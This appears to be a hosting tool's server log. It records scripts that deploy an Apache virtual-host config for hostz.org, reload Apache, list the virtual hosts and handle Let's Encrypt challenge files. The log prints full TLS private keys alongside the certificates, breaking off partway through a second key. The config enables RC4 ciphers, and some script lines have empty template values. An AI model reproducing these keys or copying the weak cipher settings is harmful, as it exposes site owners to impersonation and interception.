SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt
DocumentRoot /var/www/hostz_www
<Directory /var/www/hostz_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/www_secure_access.log combined
ErrorLog /var/log/apache2/hostz/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-30 06:00:42:
PUT: /tmp/pkp490925
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_www_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_www_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName hostz.org
ServerAlias www.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_www
<Directory /var/www/hostz_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/www_access.log combined
ErrorLog /var/log/apache2/hostz/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName hostz.org
ServerAlias www.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt
DocumentRoot /var/www/hostz_www
<Directory /var/www/hostz_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/www_secure_access.log combined
ErrorLog /var/log/apache2/hostz/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hostz_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hostz_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_www_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_www_org.conf= 1'
fi
2025-11-30 06:00:42:
chmod 755 /tmp/pkp490925; /tmp/pkp490925; rm /tmp/pkp490925
2025-11-30 06:00:42:
2025-11-30 06:00:42:
PUT: /tmp/pkp848473
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-30 06:00:42:
chmod 755 /tmp/pkp848473; /tmp/pkp848473; rm /tmp/pkp848473
2025-11-30 06:00:42:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-30 06:00:43: Establishing a connection
2025-11-30 06:00:43:
PUT: /tmp/pkp769885
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-30 06:00:43:
chmod 755 /tmp/pkp769885; /tmp/pkp769885; rm /tmp/pkp769885
2025-11-30 06:00:43:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
alias www.theyoungdesigners.com
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
alias www.theyoungdesigners.com
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-30 06:00:43:
PUT: /tmp/pkp789408
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hostz_www_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-30 06:00:43:
chmod 755 /tmp/pkp789408; /tmp/pkp789408; rm /tmp/pkp789408
2025-11-30 06:00:43:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_www_org.conf 1202
<VirtualHost *:80>
ServerName hostz.org
ServerAlias www.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_www
<Directory /var/www/hostz_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/www_access.log combined
ErrorLog /var/log/apache2/hostz/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName hostz.org
ServerAlias www.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt
DocumentRoot /var/www/hostz_www
<Directory /var/www/hostz_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/www_secure_access.log combined
ErrorLog /var/log/apache2/hostz/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-30 06:00:43:
PUT: /tmp/pkp275203
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-30 06:00:43:
chmod 755 /tmp/pkp275203; /tmp/pkp275203; rm /tmp/pkp275203
2025-11-30 06:00:43:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt 5352
d6:f9:75:c5:ec:14:95:86:da:f2:fb:8f:18:67:e9:9b
-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBTWVP2s5pTGYbLgF/b5bhSpBMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTMwMDUwMjExWhcNMjYwMjI4MDUwMjEwWjAUMRIwEAYDVQQD
Ewlob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDHiwJp
U4M6ERZIF/YgbkEMz1sAbWjJJMCPBcZ3hiO5kHwgW79rNZRHem1mbSskBA126JdF
fVyEZ/hbfqwuTCR0/+aCXBYF1rluqHS/a/nZDXFqffZT1f5rAwtNoV2oocFbDE3/
9ymFa1Omw00FK0rZhewZZ+zEeK8/Q/StBoh9a4seBoE7PtNHBRTHo2rr/FLCyOoq
c30xFdrUnkGlSbo73+/XY85Dwmb/ZASvGxs8GdCAJUpMkBD3Rf63MWqIMJqjeBEr
0A2GG3quTS3t/CD5Q+RY26Eo5SteIFf/WpEVpdRCFMUOCw7GSxXfvmQCaMkU0G9B
X3d7K1SgbHGJWLtJAgMBAAGjggInMIICIzAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0l
BBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FE35NeG3ynnGGKpCbcJ6yoPlyq8iMB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiy
hA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5p
LmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIJaG9zdHoub3Jngg13d3cuaG9zdHoub3Jn
MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9y
MTMuYy5sZW5jci5vcmcvNjYuY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHUA
ZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGa01lioAAABAMARjBE
AiBePv9nAIyQ366I7QT3NtP95VzkQUPJxb5MrldDCRgMnAIgNV697WbUdR3jL6my
MfsadnS9fFlzKJn8UftLk7dcgLMAdgAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0h
qSWsYcVOIQAAAZrTWWKiAAAEAwBHMEUCIQDHQzeRvDIvsKGqX3jRbV36djwz9CRp
KE8ZHwfwgMEk5gIgVmhDVnHdrqmIkHWiBt0GNd5j29rcGMqx4ESSu0O+2XEwDQYJ
KoZIhvcNAQELBQADggEBADKv1/B1BMpX9yCNVNSBHMkoREGkEHW6iWsEuPcwXmJP
dNSKlA6db5e6UeOT2YodmRc3kuX59EllMIAwv0Bj+jTS0OYpRRlB0NCpPkhl9dvc
yfWD7qyuF0Ub2ext8jqWSVZ6xZCr6FRp/D1RutDYksVSXSkC+r0fnwfeHGRCj9CK
aixOojqq2Cxk5niwjGWCKUzadV8nNwx7t3DnODPm+7NHlBK2iQMXqPePA/mURgTq
Q4uPwxAHDMAtPPRYHCro0C0/bsvDY2Hplm0Fa7sSGXnyeeocc2b07pC+4qCTb/2b
ME75huv6FoV+qWisqI6b3MLydrR+LUfSki0c0QI87j4=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDHiwJpU4M6ERZI
F/YgbkEMz1sAbWjJJMCPBcZ3hiO5kHwgW79rNZRHem1mbSskBA126JdFfVyEZ/hb
fqwuTCR0/+aCXBYF1rluqHS/a/nZDXFqffZT1f5rAwtNoV2oocFbDE3/9ymFa1Om
w00FK0rZhewZZ+zEeK8/Q/StBoh9a4seBoE7PtNHBRTHo2rr/FLCyOoqc30xFdrU
nkGlSbo73+/XY85Dwmb/ZASvGxs8GdCAJUpMkBD3Rf63MWqIMJqjeBEr0A2GG3qu
TS3t/CD5Q+RY26Eo5SteIFf/WpEVpdRCFMUOCw7GSxXfvmQCaMkU0G9BX3d7K1Sg
bHGJWLtJAgMBAAECggEABl0OhKFfK/jjhwUMmlgpxujN9COJFfEQGv+KJsGmXgKX
ksiaQCcDRYxH9N5CY/GlJEeim1q2GpreNrzBbPCMsRaAGWQqZ6FDZJ4Gqxwcaame
FlFSC7ZlWLBOKfmdbQVLj0XDLwiI0HJtxoGv8RxCVNGKh/zidhmLLS9TnDj7HVTE
KCCIxhShN/cLuoZjAxrF5wZlDLm64d3Yq2gIRiDEyzBamWTTO9WxfFzKleq2BPtJ
EZiHSM685Fvp6pZNU+xc1o5TgpOciwSyb+BQRDEqZycjuWhljQHUE+XZmDVprrcY
3WwfZsTaZgmNe7s8KxgBcrwiresTkWK/1PRCw6seoQKBgQD8XUEstj3Zs0im9khf
lY167ELx2QNUuUZMWd2HZ58HZg7pE1ikMYqzb6Ju4EHxhJrtK287w2ByxvDjxfTX
SlIm65mTsrCRUcDGDZBL3VUSAjUw6JScHkjOa/J527K5xl3MPxtM+Kp60r9c02do
4ZADA+8NB8W4bMcZJPSIX+pNTQKBgQDKavHOMoUaVL6r2Wz792iYafZnpR/anXKl
G9xy7ubZi/AqEsBeqQJhPiUsoGOVDc/4C8Hz6jGdUcuj0pZ95rIEoa27V2yD93LH
qnHnJcpDGx/8npAmbmRgKgrl+KlTAcYAG9dRBemfHHZ3+OYPLRMC+WnoOGfViZNd
FJEthNJX7QKBgBjkGcmPMAqI5GGTaRAEcC/vnaq8/NcebxCYzIDOd6EDL/VNMzD+
se+A00ScWeS4b490+UOrwZeQh7HvlHannfK4yi0HMuMibSEbtV/GNN3R2e05A29i
jUvO2durD7XDGv1KPCcbX7U9lCJTt59goBOsD6f5XEcUc47HVlcdHr8BAoGBAKGl
JdT0ozaT1nCGAXJ18SFF/XBnfTin45XW2gUuo0u3ZOM0dkshzLS7XBR3QQ8XKK19
NjYDH/vyBh2dXnDMef0Y4BRrjE0WnqK0iqF8nDlawACM37DRF3d0G5/rI80V7XjI
wvoBLr/RiwnjylT0Oep2Iw0/fiwY4YXDluwy1YdBAoGAA2po4LhrUglJH8KSGHLy
yblDJmLEZZabqepXHmn+p0IcZ+rGvGH0CrwghK2YRkqKxSASVeuprT0GjZyAozi9
TAhihfdS8a8h+silT7hufP9OigvFj3dqpfHN9TYgmSkh7WRxZyCmJpk8e61KjlNU
oZXAduQkJx9j+ERFkjWs6v4=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-11-30 06:00:43: Establishing a connection
2025-11-30 06:00:43: Establishing a connection
2025-11-30 06:00:43:
PUT: /tmp/pkp958588
#!/bin/bash
if [ -d "/var/www/realdevil_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-30 06:00:50:
chmod 755 /tmp/pkp958588; /tmp/pkp958588; rm /tmp/pkp958588
2025-11-30 06:00:50:
1
2025-11-30 06:00:51: Establishing a connection
2025-11-30 06:00:51:
PUT: /tmp/pkp771082
#!/bin/bash
mkdir -p "/var/www/realdevil_www/.well-known/acme-challenge/"
cd "/var/www/realdevil_www/.well-known/acme-challenge/"
cat > 3-U0jki0vgLpbRtMynG8iCc3epeZzR6s5GEnVIaT2rQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
3-U0jki0vgLpbRtMynG8iCc3epeZzR6s5GEnVIaT2rQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 3-U0jki0vgLpbRtMynG8iCc3epeZzR6s5GEnVIaT2rQ
cat > OvUTSd-VEuEQ81Q1Yl1mBZ7o_ykwSb9vPQTyTwBbW4Y <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
OvUTSd-VEuEQ81Q1Yl1mBZ7o_ykwSb9vPQTyTwBbW4Y.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 OvUTSd-VEuEQ81Q1Yl1mBZ7o_ykwSb9vPQTyTwBbW4Y
2025-11-30 06:00:52:
chmod 755 /tmp/pkp771082; /tmp/pkp771082; rm /tmp/pkp771082
2025-11-30 06:00:52:
2025-11-30 06:01:02: Establishing a connection
2025-11-30 06:01:02:
PUT: /tmp/pkp833023
#!/bin/bash
mkdir -p "/var/www/realdevil_www/.well-known/acme-challenge/"
cd "/var/www/realdevil_www/.well-known/acme-challenge/"
rm 3-U0jki0vgLpbRtMynG8iCc3epeZzR6s5GEnVIaT2rQ
rm OvUTSd-VEuEQ81Q1Yl1mBZ7o_ykwSb9vPQTyTwBbW4Y
2025-11-30 06:01:03:
chmod 755 /tmp/pkp833023; /tmp/pkp833023; rm /tmp/pkp833023
2025-11-30 06:01:03:
2025-11-30 06:01:03: Establishing a connection
2025-11-30 06:01:03:
PUT: /tmp/pkp850464
#!/bin/bash
temp_file=$(mktemp)
TARGET=2a6ddbe9e3dc02179c0a0d6b1925eaef.pem
cat > $temp_file <<'endmsg'
e7:3e:90:3e:4e:29:30:e1:9c:3a:0f:a3:ac:25:a2:09
-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBda222+90moLJdFi0R4MmQj8MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTMwMDUwMjMxWhcNMjYwMjI4MDUwMjMwWjAZMRcwFQYDVQQD
Ew5yZWFsZGV2aWwuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AN0l8SAiTDJ8Pw2km6pqYllnWfM+GVUu0DLUS6dhxqw7W2nrFGNJXNvbOdPHK/K7
gSYH7polh4qsmjyAoL+26+uZ6cLqOeDDsEX4y7w6Y38yLuBIzwjgsebr/8VLo+Nl
4m8DJutHRC4paQXsAIUzjFMNIeTX5k1O5p7K6U5eoFdsyQk7KsanhNfVoo7Fr4Mo
I2tXkx7Lu4h02gU+yjXrVAadEjD9nIa5t+BVScEsEtMvns2xYnf0jscZWb7nvCsj
cIJNwGDnrg8S5zwwk1fFGlJtvoE9M3glWiA26UIh+jLG9p8eEzZSa/jo9Wz6Yf6Y
CturwdZgPBhwg0ERHL42hpkCAwEAAaOCAjQwggIwMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUakT/FspfnNxU0EoAkT6VPq0Pu7AwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5yZWFsZGV2aWwuaW5mb4ISd3d3
LnJlYWxkZXZpbC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYw
JKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTI1LmNybDCCAQUGCisGAQQB
1nkCBAIEgfYEgfMA8QB3AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjD
AAABmtNZsBYAAAQDAEgwRgIhAITljuPU3xtAJGirWrOm+TBOPTJiZOGdp2jefHXA
hduKAiEApPamS/xajcamLA89SJZDnJxXsTMB9yOYNzB8kV96q3sAdgAOV5S8866p
PjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAAAZrTWbANAAAEAwBHMEUCIAP5h5+y
G0nHc4ujV0p32d02IktiHQldysLEyPfkd90fAiEA/nMDG9dAzFQNqQnPBaVkcILs
t6TTC0bRpAAocxNaJuYwDQYJKoZIhvcNAQELBQADggEBAIDEknS7n9ur7b0nLHwa
HVrKKaHpALsesaa6LGAEDQIHLPmEpqPciPdpT3id17+kVNnfwoaiaFlKu7kfqR8i
liBmYjLqA7kULm7lufksSEv0gSjmw5/MuiAlXnXnjTD6l4GgnLDWIHXR/bJ0J82B
Vok3H2SQ6RBXhDiBv3fH0nPuiXTT2bJ0TDP2y4LgNiHQrQLz69nnv8weLrncHDsV
jRneuVhCm0xSThmyq2vVQ95ET1UN3PE5iWsnw/WRdYuCFN5KZ4iZ3t5QT6txYQ+q
0yiob0y01WnH6avvI3Qa3IhLhu2kUt7sX4RLl1hqn0TrhDY66SJjmWOKZc0uqYOT
G04=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDdJfEgIkwyfD8N
pJuqamJZZ1nzPhlVLtAy1EunYcasO1tp6xRjSVzb2znTxyvyu4EmB+6aJYeKrJo8
gKC/tuvrmenC6jngw7BF+Mu8OmN/Mi7gSM8I4LHm6//FS6PjZeJvAybrR0QuKWkF
7ACFM4xTDSHk1+ZNTuaeyulOXqBXbMkJOyrGp4TX1aKOxa+DKCNrV5Mey7uIdNoF
Pso161QGnRIw/ZyGubfgVUnBLBLTL57NsWJ39I7HGVm+57wrI3CCTcBg564PEuc8
MJNXxRpSbb6BPTN4JVogNulCIfoyxvafHhM2Umv46PVs+mH+mArbq8HWYDwYcINB
ERy+NoaZAgMBAAECggEAUcPghjgIIjZr/bhZ0cVpvZKH4HaaWTNoyRJTMnzlPvLn
Vp8TN659RdClbdbbOfD3zD7silPL7Irqr+oDBT81tTOACZAefCr+NrDJazvPY80D
